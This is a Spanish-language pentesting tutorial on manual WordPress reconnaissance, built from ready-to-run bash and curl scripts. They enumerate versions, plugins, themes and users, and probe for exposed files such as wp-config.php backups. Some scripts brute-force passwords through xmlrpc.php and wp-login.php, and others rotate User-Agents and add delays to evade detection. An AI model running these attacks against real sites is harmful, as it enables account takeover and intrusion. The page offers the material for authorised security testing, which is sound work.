Skip to content

WordPress - Técnicas de Reconocimiento Manual

WordPress - Técnicas de Reconocimiento Manual

Section titled “WordPress - Técnicas de Reconocimiento Manual”

WordPress es el sistema de gestión de contenidos (CMS) más popular del mundo, utilizado por más del 40% de todos los sitios web. Su popularidad lo convierte en un objetivo frecuente para atacantes, pero también en una plataforma con abundantes herramientas de seguridad y técnicas de pentesting.

¿Por qué WordPress es un objetivo común?

Section titled “¿Por qué WordPress es un objetivo común?”
  • Popularidad masiva: Más de 455 millones de sitios web
  • Ecosistema de plugins: Más de 58,000 plugins disponibles
  • Configuraciones inseguras: Muchos sitios mal configurados
  • Actualizaciones pendientes: Sitios con versiones desactualizadas
Terminal window
# Verificar si es WordPress mediante curl
curl -s http://ejemplo.com | grep -i wordpress
# Verificar archivos característicos
curl -s -o /dev/null -w "%{http_code}" http://ejemplo.com/wp-admin/
curl -s -o /dev/null -w "%{http_code}" http://ejemplo.com/wp-login.php
curl -s -o /dev/null -w "%{http_code}" http://ejemplo.com/wp-content/
# Verificar meta tags
curl -s http://ejemplo.com | grep -i "generator.*wordpress"
Terminal window
# Método 1: Meta generator tag
curl -s http://ejemplo.com | grep -oP 'content="WordPress \K[^"]*'
# Método 2: readme.html
curl -s http://ejemplo.com/readme.html | grep -oP 'Version \K[0-9.]+'
# Método 3: RSS feeds
curl -s http://ejemplo.com/feed/ | grep -oP 'generator.*WordPress \K[^<]*'
# Método 4: Archivos de estilo
curl -s http://ejemplo.com/wp-includes/css/dashicons.min.css?ver= | head -1
Terminal window
# Método 1: Análisis del código fuente
curl -s http://ejemplo.com | grep -oP 'wp-content/plugins/\K[^/]*' | sort -u
# Método 2: Directorios de plugins
for plugin in $(curl -s http://ejemplo.com | grep -oP 'wp-content/plugins/\K[^/]*' | sort -u); do
echo "Plugin encontrado: $plugin"
curl -s -o /dev/null -w "%{http_code} - $plugin\n" http://ejemplo.com/wp-content/plugins/$plugin/
done
# Método 3: Archivos readme de plugins
for plugin in $(curl -s http://ejemplo.com | grep -oP 'wp-content/plugins/\K[^/]*' | sort -u); do
echo "Verificando readme de: $plugin"
curl -s http://ejemplo.com/wp-content/plugins/$plugin/readme.txt | head -10
done
#!/bin/bash
enumerate_wordpress_plugins() {
local url=$1
local output_file="wp_plugins_$(date +%Y%m%d_%H%M%S).txt"
echo "[+] Enumerando plugins de WordPress en: $url"
echo "=== PLUGINS ENCONTRADOS ===" > $output_file
# Obtener plugins del código fuente
plugins=$(curl -s $url | grep -oP 'wp-content/plugins/\K[^/]*' | sort -u)
for plugin in $plugins; do
echo "[+] Analizando plugin: $plugin"
# Verificar existencia
status=$(curl -s -o /dev/null -w "%{http_code}" $url/wp-content/plugins/$plugin/)
if [ "$status" = "200" ] || [ "$status" = "403" ]; then
echo "Plugin: $plugin (HTTP $status)" >> $output_file
# Intentar obtener versión del readme
version=$(curl -s $url/wp-content/plugins/$plugin/readme.txt | grep -i "stable tag" | cut -d: -f2 | tr -d ' ')
if [ ! -z "$version" ]; then
echo " Versión: $version" >> $output_file
fi
# Verificar archivos comunes
for file in changelog.txt readme.txt LICENSE; do
file_status=$(curl -s -o /dev/null -w "%{http_code}" $url/wp-content/plugins/$plugin/$file)
if [ "$file_status" = "200" ]; then
echo " Archivo accesible: $file" >> $output_file
fi
done
fi
done
echo "[+] Enumeración completada. Resultados en: $output_file"
}
# Uso
enumerate_wordpress_plugins "http://ejemplo.com"
Terminal window
# Método 1: API REST de WordPress (WP >= 4.7)
curl -s http://ejemplo.com/wp-json/wp/v2/users | jq '.[].name'
# Método 2: Feeds RSS de autores
curl -s http://ejemplo.com/?feed=rss2 | grep -oP '<dc:creator><!\[CDATA\[\K[^\]]*'
# Método 3: Enumeración por ID de usuario
for i in {1..10}; do
user=$(curl -s http://ejemplo.com/?author=$i | grep -oP '<title>\K[^<]*' | head -1)
if [ ! -z "$user" ] && [[ ! "$user" =~ "Page not found" ]]; then
echo "Usuario ID $i: $user"
fi
done
# Método 4: XML-RPC (si está habilitado)
curl -s -X POST http://ejemplo.com/xmlrpc.php \
-d '<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>password</string></value></param></params></methodCall>'
#!/bin/bash
enumerate_wp_users() {
local url=$1
local output_file="wp_users_$(date +%Y%m%d_%H%M%S).txt"
echo "[+] Enumerando usuarios de WordPress en: $url"
echo "=== USUARIOS ENCONTRADOS ===" > $output_file
# Método 1: API REST
echo "[+] Probando API REST..."
rest_users=$(curl -s $url/wp-json/wp/v2/users 2>/dev/null | jq -r '.[].name' 2>/dev/null)
if [ ! -z "$rest_users" ]; then
echo "=== VÍA API REST ===" >> $output_file
echo "$rest_users" >> $output_file
fi
# Método 2: Enumeración por ID
echo "[+] Enumerando por ID de usuario..."
echo "=== VÍA AUTHOR ID ===" >> $output_file
for i in {1..20}; do
response=$(curl -s -L $url/?author=$i)
if [[ ! "$response" =~ "not found" ]] && [[ ! "$response" =~ "404" ]]; then
user=$(echo "$response" | grep -oP '<title>\K[^<|]*' | head -1 | sed 's/ – .*//')
if [ ! -z "$user" ] && [ "$user" != "Page" ]; then
echo "ID $i: $user" >> $output_file
fi
fi
done
# Método 3: RSS Feeds
echo "[+] Verificando feeds RSS..."
rss_users=$(curl -s $url/feed/ 2>/dev/null | grep -oP '<dc:creator><!\[CDATA\[\K[^\]]*' | sort -u)
if [ ! -z "$rss_users" ]; then
echo "=== VÍA RSS FEEDS ===" >> $output_file
echo "$rss_users" >> $output_file
fi
echo "[+] Enumeración de usuarios completada. Resultados en: $output_file"
}
# Uso
enumerate_wp_users "http://ejemplo.com"
Terminal window
# Verificar si XML-RPC está habilitado
curl -s -X POST http://ejemplo.com/xmlrpc.php -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'
# Ataque de fuerza bruta básico
xmlrpc_bruteforce() {
local url=$1
local username=$2
local wordlist=$3
echo "[+] Iniciando ataque de fuerza bruta XML-RPC"
echo "URL: $url"
echo "Usuario: $username"
echo "Wordlist: $wordlist"
while IFS= read -r password; do
echo "[+] Probando: $username:$password"
xml_data="<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>$username</string></value></param>
<param><value><string>$password</string></value></param>
</params>
</methodCall>"
response=$(curl -s -X POST $url/xmlrpc.php -d "$xml_data")
if [[ ! "$response" =~ "Incorrect username or password" ]]; then
echo "[!] CREDENCIALES ENCONTRADAS: $username:$password"
return 0
fi
# Delay para evitar detección
sleep 1
done < "$wordlist"
echo "[-] No se encontraron credenciales válidas"
}
# Uso
# xmlrpc_bruteforce "http://ejemplo.com" "admin" "/usr/share/wordlists/rockyou.txt"
#!/bin/bash
wp_login_bruteforce() {
local url=$1
local username=$2
local wordlist=$3
local login_url="$url/wp-login.php"
echo "[+] Iniciando ataque de fuerza bruta al formulario de login"
while IFS= read -r password; do
echo "[+] Probando: $username:$password"
response=$(curl -s -c cookies.txt -b cookies.txt \
-d "log=$username&pwd=$password&wp-submit=Log+In" \
-X POST $login_url)
if [[ "$response" =~ "dashboard" ]] || [[ ! "$response" =~ "ERROR" ]]; then
echo "[!] CREDENCIALES ENCONTRADAS: $username:$password"
return 0
fi
sleep 2 # Delay más largo para formularios web
done < "$wordlist"
echo "[-] No se encontraron credenciales válidas"
}
Terminal window
# Método 1: Análisis del código fuente
curl -s http://ejemplo.com | grep -oP 'wp-content/themes/\K[^/]*' | head -1
# Método 2: Archivo style.css
theme=$(curl -s http://ejemplo.com | grep -oP 'wp-content/themes/\K[^/]*' | head -1)
curl -s http://ejemplo.com/wp-content/themes/$theme/style.css | head -20
# Método 3: Screenshot del tema
curl -s -o /dev/null -w "%{http_code}" http://ejemplo.com/wp-content/themes/$theme/screenshot.png
#!/bin/bash
enumerate_wp_themes() {
local url=$1
local output_file="wp_themes_$(date +%Y%m%d_%H%M%S).txt"
echo "[+] Enumerando temas de WordPress en: $url"
echo "=== TEMAS ENCONTRADOS ===" > $output_file
# Tema activo
active_theme=$(curl -s $url | grep -oP 'wp-content/themes/\K[^/]*' | head -1)
if [ ! -z "$active_theme" ]; then
echo "Tema activo: $active_theme" >> $output_file
# Información del tema
style_info=$(curl -s $url/wp-content/themes/$active_theme/style.css | head -10)
echo "Información del tema:" >> $output_file
echo "$style_info" >> $output_file
# Archivos accesibles
for file in readme.txt changelog.txt screenshot.png; do
status=$(curl -s -o /dev/null -w "%{http_code}" $url/wp-content/themes/$active_theme/$file)
if [ "$status" = "200" ]; then
echo "Archivo accesible: $file" >> $output_file
fi
done
fi
echo "[+] Enumeración de temas completada. Resultados en: $output_file"
}
#!/bin/bash
check_wp_sensitive_files() {
local url=$1
local files=(
"wp-config.php"
"wp-config.php.bak"
"wp-config.php.old"
"wp-config.php~"
".wp-config.php.swp"
"wp-admin/install.php"
"wp-admin/upgrade.php"
"wp-includes/wp-config.php"
"xmlrpc.php"
"readme.html"
"license.txt"
"wp-content/debug.log"
".htaccess"
".htaccess.bak"
"robots.txt"
"sitemap.xml"
"wp-content/uploads/"
"wp-includes/"
"wp-admin/"
)
echo "[+] Verificando archivos sensibles en: $url"
for file in "${files[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "$url/$file")
case $status in
200)
echo "[!] ACCESIBLE: $file (HTTP $status)"
;;
403)
echo "[?] PROHIBIDO: $file (HTTP $status) - Posiblemente existe"
;;
301|302)
echo "[~] REDIRECCIÓN: $file (HTTP $status)"
;;
esac
done
}
# Uso
check_wp_sensitive_files "http://ejemplo.com"
Terminal window
# Usar diferentes User-Agents
user_agents=(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
)
# Función con rotación de User-Agent
curl_with_random_ua() {
local url=$1
local ua=${user_agents[$RANDOM % ${#user_agents[@]}]}
curl -s -H "User-Agent: $ua" "$url"
}
# Delays inteligentes
smart_delay() {
local min_delay=1
local max_delay=5
local delay=$((RANDOM % (max_delay - min_delay + 1) + min_delay))
sleep $delay
}
#!/bin/bash
wordpress_full_audit() {
local url=$1
local output_dir="wp_audit_$(date +%Y%m%d_%H%M%S)"
mkdir -p $output_dir
echo "[+] Iniciando auditoría completa de WordPress: $url"
# 1. Identificación y fingerprinting
echo "[+] Fase 1: Identificación"
curl -s $url | grep -i wordpress > $output_dir/01_identification.txt
# 2. Enumeración de plugins
echo "[+] Fase 2: Enumeración de plugins"
enumerate_wordpress_plugins $url > $output_dir/02_plugins.txt
# 3. Enumeración de usuarios
echo "[+] Fase 3: Enumeración de usuarios"
enumerate_wp_users $url > $output_dir/03_users.txt
# 4. Enumeración de temas
echo "[+] Fase 4: Enumeración de temas"
enumerate_wp_themes $url > $output_dir/04_themes.txt
# 5. Archivos sensibles
echo "[+] Fase 5: Archivos sensibles"
check_wp_sensitive_files $url > $output_dir/05_sensitive_files.txt
# 6. Configuraciones de seguridad
echo "[+] Fase 6: Configuraciones de seguridad"
echo "=== CONFIGURACIONES DE SEGURIDAD ===" > $output_dir/06_security_config.txt
# XML-RPC
xmlrpc_status=$(curl -s -o /dev/null -w "%{http_code}" $url/xmlrpc.php)
echo "XML-RPC Status: $xmlrpc_status" >> $output_dir/06_security_config.txt
# Directory Listing
uploads_status=$(curl -s $url/wp-content/uploads/ | grep -i "index of")
if [ ! -z "$uploads_status" ]; then
echo "Directory Listing: HABILITADO (RIESGO)" >> $output_dir/06_security_config.txt
else
echo "Directory Listing: DESHABILITADO" >> $output_dir/06_security_config.txt
fi
echo "[+] Auditoría completada. Resultados en: $output_dir"
}
  • WPScan: Scanner especializado en WordPress
  • WPForce: Herramienta de fuerza bruta
  • WP-CLI: Interfaz de línea de comandos oficial
  • Nuclei: Scanner de vulnerabilidades con templates de WordPress

⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El uso de estas técnicas debe realizarse exclusivamente en:

  • Sistemas propios
  • Entornos de laboratorio
  • Sitios web con autorización explícita y por escrito

El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.